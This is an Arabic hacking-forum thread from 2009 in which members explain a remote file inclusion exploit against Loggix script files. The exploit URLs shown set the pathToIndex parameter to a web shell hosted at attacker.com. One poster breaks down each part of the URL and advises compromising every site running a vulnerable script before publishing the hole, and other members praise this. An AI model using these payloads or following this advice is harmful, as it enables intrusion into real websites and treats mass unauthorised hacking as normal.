طلب : توضيح الاستغلال

Death-Ghost · 12-02-2009, 01:06 AM

السلام عليكم ورحمه الله

انا عندي طلب بسيط

انا حصلت ثغره ريموت فايل انكود

وجبت الاستغلال تبعها بس المشكله اني ما فهمت الاستغلال :cry[1]:

هاد هوو الاستغلال

http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex

http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex

http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToInde

طبعا هاد كم استغلال لها

ياريت الي عنده خبره يوضح ليي الستغلال

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC 'gf : j,qdp hghsjyghg

MrXRoMaNcE1 · 12-02-2009, 01:10 AM

ضع رابط ثغرة

killer-32 · 12-02-2009, 01:30 AM

أظن أنه

[path]

هو رابط الشل

يعني جرب بدله برابط الشل

MrXRoMaNcE1 · 12-02-2009, 01:44 AM

اقتباس

المشاركة الأصلية كتبت بواسطة killer-32


	أظن أنه [path] هو رابط الشل يعني جرب بدله برابط الشل

[path]

هذا يا غالي مجلد اللي ركب في سكربت متلا عناكب مسميه مجلد vb

Death-Ghost · 12-02-2009, 02:37 AM

http://www.milw0rm.com/exploits/9729

ها هو رابط الثغره

KaLa$nikoV · 12-02-2009, 02:52 AM

رح اشرح رابط واحد والباقي نفس الاشي والاصل تضع لنا رابط الثغره لحتى نقدر نوصل لك الفكره

http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToInde

الموقع الهدف =http://target.com/

المجلد الذي عليه السكربت =path

مثلا سكربت المنتدى مركب داخل مجلد اسمه vb
اذن
path = vb

جزء من الاستغلال
modules/downloads/lib/LM_Downloads.php?pathToInde

واما الباقي فهو الناقص وبما انك تقول انها فايل اكلود فلازم يكوون الباقي

?shell.txt=

طبعا بدك رابط شل بامتداد تكست

مممممممممممم بدون رابط الثغره شرحنا مش وافي

KaLa$nikoV · 12-02-2009, 02:52 AM

اوك هيني هسا شفت الرابط ثواني

KaLa$nikoV · 12-02-2009, 03:01 AM

اقتباس


	#Dork : No DoRk f0R ScRipT KiDDieS

يعني كلمه البحث في جوجل هي
لايوجد كلمه للبحث ............(اخترعها انت من الرابط )

اقتباس


	#file : # Calendar.php # Comment.php # Rss.php # Trackback.php # LM_Downloads.php

هذه اسماء الملفات المصابه بالانكلوود

اقتباس


	#3xplo!t : #http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt??? #http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt??? ################################################## ######################

يعني الاستغلال
ممممم خلينا نشرح استغلال واحد

اقتباس


	#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt???

#http://target.com/ اسم الموقع الهدف (يلي عليه السكربت)
[path]/ ........... يعني اسم المجلد يلي عليه السكربت (اذا كان السكربت داخل مجلد)

اقتباس


	]/lib/Loggix/Module/Rss.php?pathToIndex=

مسار الملف المصاب على السكربت

اقتباس


	http://attacker.com/shell.txt???

رابط شل بامتداد txt

ما اعتقد صعب الانكلود بسيط جدا

---------------------------------------
نصيحه من ذهب

اتركك اخي من مواقع السكيورتي هذه لانو ما بفيها ثغرات الايكون يلي اكشف الثغره زهق منها

يعني مثلا انا بكتشف ثغره بخترق فيها كل السكربتات يلي ع النت وبعدها برميها لمواقع السكيورتي

وبتلقى صار المعظم عامل ترقيع للثغره

ادخل دورات المنتدى فهي دورات حقيقه للثغرات

وفيك تستفيد اكثر بمليون مره وتوصل لمستوى رائع

بالتوفيق

Death-Ghost · 12-02-2009, 03:27 AM

مشكور خيو على الشرح والنصيحه

لان فعلنا اغلب الثغرات مرقعه يعني نادر ما تحصل وحده ^_^

Death-Ghost · 12-02-2009, 03:27 AM

مشكور خيو على الشرح والنصيحه

لان فعلنا اغلب الثغرات مرقعه يعني نادر ما تحصل وحده ^_^

a7b · 02-09-2010, 02:25 PM

نصيحه من ذهب

اتركك اخي من مواقع السكيورتي هذه لانو ما بفيها ثغرات الايكون يلي اكشف الثغره زهق منها

يعني مثلا انا بكتشف ثغره بخترق فيها كل السكربتات يلي ع النت وبعدها برميها لمواقع السكيورتي

وبتلقى صار المعظم عامل ترقيع للثغره

ادخل دورات المنتدى فهي دورات حقيقه للثغرات

وفيك تستفيد اكثر بمليون مره وتوصل لمستوى رائع

بالتوفيق [/QUOTE]

نصيحتك عععسل يااااااااعسل انت :a14:

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
شرح و توضيح جميع طرق اختراق البريد !!	Italiano Algerino Hacker	قـسـم الـبـريد الإلـكتروني والحسابات العامة	17	08-23-2013 02:40 AM
ممكن توضيح	dana	جـــ'ابات العناكــ'ب	3	12-31-2009 06:39 PM
ممكن توضيح؟	سووويلم	جـــ'ابات العناكــ'ب	2	12-03-2009 12:51 AM
سكربت مكتبة البرامج هل من توضيح	xman2	قســم تطويــر المــــواقع	0	07-19-2009 08:45 PM
[ خبـر ] : توضيح إلي مشرفي قسم استايلات	support	قسم ستآيلات الـ vB	0	05-26-2009 12:21 AM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

طلب : توضيح الاستغلال

جـــ'ابات العناكــ'ب